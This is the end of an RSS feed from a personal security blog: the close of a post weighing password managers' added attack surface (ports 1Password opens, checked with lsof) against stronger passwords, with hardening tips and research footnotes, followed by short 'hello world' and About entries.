&lt;/ol&gt;

&lt;p&gt;In both situations, the use of a password manager isn&#39;t any less safe than traditional memorization alone in theory. The proposed method does not solely rely on the password manager for the security of Alice&#39;s account; its function is to strengthen her existing passwords.&lt;/p&gt;

&lt;p&gt;The caveat here is, as you probably guessed, the phrase &amp;quot;in theory.&amp;quot; In reality, it&#39;s a little more nuanced than the above scenarios and their assumptions. The password manager technically does open up attack surface. As an example, when I open &lt;a href=&#34;https://1password.com&#34;&gt;1Password&lt;/a&gt; on macOS, it opens up a few ports. Port 49506 is the port used for local LAN syncing of passwords between devices (which can be disabled in the app).
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;    $ sudo lsof -iTCP -sTCP:LISTEN -P -n | awk &lt;span style=&#34;color:#c41a16&#34;&gt;&amp;#39;{print $1, $3, $5, $9, $10}&amp;#39;&lt;/span&gt; | column -t
    COMMAND    USER  TYPE  NAME
    ...
    2BUA8C4S2  kedy  IPv4  *:49506          &lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;LISTEN&lt;span style=&#34;color:#000&#34;&gt;)&lt;/span&gt;
    2BUA8C4S2  kedy  IPv6  *:49506          &lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;LISTEN&lt;span style=&#34;color:#000&#34;&gt;)&lt;/span&gt;
    2BUA8C4S2  kedy  IPv4  &lt;span style=&#34;color:#1c01ce&#34;&gt;127&lt;/span&gt;.0.0.1:6258   &lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;LISTEN&lt;span style=&#34;color:#000&#34;&gt;)&lt;/span&gt;
    2BUA8C4S2  kedy  IPv6  &lt;span style=&#34;color:#000&#34;&gt;[&lt;/span&gt;::1&lt;span style=&#34;color:#000&#34;&gt;]&lt;/span&gt;:6258       &lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;LISTEN&lt;span style=&#34;color:#000&#34;&gt;)&lt;/span&gt;
    2BUA8C4S2  kedy  IPv4  &lt;span style=&#34;color:#1c01ce&#34;&gt;127&lt;/span&gt;.0.0.1:6263   &lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;LISTEN&lt;span style=&#34;color:#000&#34;&gt;)&lt;/span&gt;
    2BUA8C4S2  kedy  IPv6  &lt;span style=&#34;color:#000&#34;&gt;[&lt;/span&gt;::1&lt;span style=&#34;color:#000&#34;&gt;]&lt;/span&gt;:6263       &lt;span style=&#34;color:#000&#34;&gt;(&lt;/span&gt;LISTEN&lt;span style=&#34;color:#000&#34;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
The service listening on &lt;code&gt;0.0.0.0&lt;/code&gt; increases the attack surface. Therefore, the chance of falling into situation 2 above increases. Though given the choice of picking between a slightly increased attack surface vs strong passwords, I would pick the latter any day.&lt;/p&gt;

&lt;p&gt;Lastly, I&#39;ll note that using this method of password managers means that you won&#39;t be able to use any accompanying password manager browser extensions. Although honestly, you probably shouldn&#39;t be anyway -- copy pasting is the safest way to go. In addition, you should also consider&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;avoiding the builtin browser&lt;/li&gt;
&lt;li&gt;avoid using the cloud to sync passwords&lt;/li&gt;
&lt;li&gt;disabling any listening services if possible, or block the listening ports with your host firewall&lt;/li&gt;
&lt;li&gt;sync password vault manually (e.g. use &lt;a href=&#34;https://macroplant.com/iexplorer&#34;&gt;iExplorer&lt;/a&gt; to transfer 1Password&#39;s sqlite db)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a name=&#39;foot&#39;&gt;&lt;/a&gt;
&lt;a name=&#34;f1&#34;&gt;[1]&lt;/a&gt; &lt;a href=&#34;http://research.microsoft.com/pubs/161585/QuestToReplacePasswords.pdf&#34;&gt;http://research.microsoft.com/pubs/161585/QuestToReplacePasswords.pdf&lt;/a&gt;&lt;br&gt;
&lt;a name=&#34;f2&#34;&gt;[2]&lt;/a&gt; &lt;a href=&#34;http://users.ics.forth.gr/~elathan/papers/eurosec15.pdf&#34;&gt;http://users.ics.forth.gr/~elathan/papers/eurosec15.pdf&lt;/a&gt;&lt;br&gt;
&lt;a name=&#34;f3&#34;&gt;[3]&lt;/a&gt; &lt;a href=&#34;http://cyberside.planet.ee/docs/www2007-A%20Large-Scale%20Study%20of%20Web%20Password%20Habits.pdf&#34;&gt;http://cyberside.planet.ee/docs/www2007-A%20Large-Scale%20Study%20of%20Web%20Password%20Habits.pdf&lt;/a&gt;&lt;br&gt;
&lt;a name=&#34;f4&#34;&gt;[4]&lt;/a&gt; &lt;a href=&#34;https://cups.cs.cmu.edu/soups/2006/proceedings/p44_gaw.pdf&#34;&gt;https://cups.cs.cmu.edu/soups/2006/proceedings/p44_gaw.pdf&lt;/a&gt;&lt;br&gt;
&lt;a name=&#34;f5&#34;&gt;[5]&lt;/a&gt; &lt;a href=&#34;http://www.canberra.edu.au/cis/storage/CIS_PayPal_Whitepaper_FINAL.pdf&#34;&gt;http://www.canberra.edu.au/cis/storage/CIS_PayPal_Whitepaper_FINAL.pdf&lt;/a&gt;&lt;br&gt;
&lt;a name=&#34;f6&#34;&gt;[6]&lt;/a&gt; &lt;a href=&#34;http://www.csid.com/wp-content/uploads/2012/09/CS_PasswordSurvey_FullReport_FINAL.pdf&#34;&gt;http://www.csid.com/wp-content/uploads/2012/09/CS_PasswordSurvey_FullReport_FINAL.pdf&lt;/a&gt;&lt;br&gt;
&lt;a name=&#34;f7&#34;&gt;[7]&lt;/a&gt; &lt;a href=&#34;https://www.internetsociety.org/sites/default/files/08%20why-do-people-adopt-or-reject-smartphone-password-managers.pdf&#34;&gt;https://www.internetsociety.org/sites/default/files/08%20why-do-people-adopt-or-reject-smartphone-password-managers.pdf&lt;/a&gt;&lt;br&gt;
&lt;a name=&#34;f8&#34;&gt;[8]&lt;/a&gt; &lt;a href=&#34;https://blog.lastpass.com/2015/06/lastpass-security-notice.html/&#34;&gt;https://blog.lastpass.com/2015/06/lastpass-security-notice.html/&lt;/a&gt;&lt;br&gt;
&lt;a name=&#34;f9&#34;&gt;[9]&lt;/a&gt; P0 issue &lt;a href=&#34;https://bugs.chromium.org/p/project-zero/issues/detail?id=884&#34;&gt;884&lt;/a&gt;, &lt;a href=&#34;https://bugs.chromium.org/p/project-zero/issues/detail?id=888&#34;&gt;888&lt;/a&gt;, &lt;a href=&#34;https://bugs.chromium.org/p/project-zero/issues/detail?id=890&#34;&gt;890&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>hello world</title>
      <link>https://klue.github.io/blog/2017/02/hello_world/</link>
      <pubDate>Mon, 27 Feb 2017 13:35:45 -0500</pubDate>
      
      <guid>https://klue.github.io/blog/2017/02/hello_world/</guid>
      <description>&lt;p&gt;Hello world. This is my blog.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>About</title>
      <link>https://klue.github.io/about/</link>
      <pubDate>Mon, 27 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>https://klue.github.io/about/</guid>
      <description>&lt;p&gt;Welcome! I&amp;rsquo;m Kedy Liu (klue). You can find my thoughts here, mostly on computer science and security.&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>
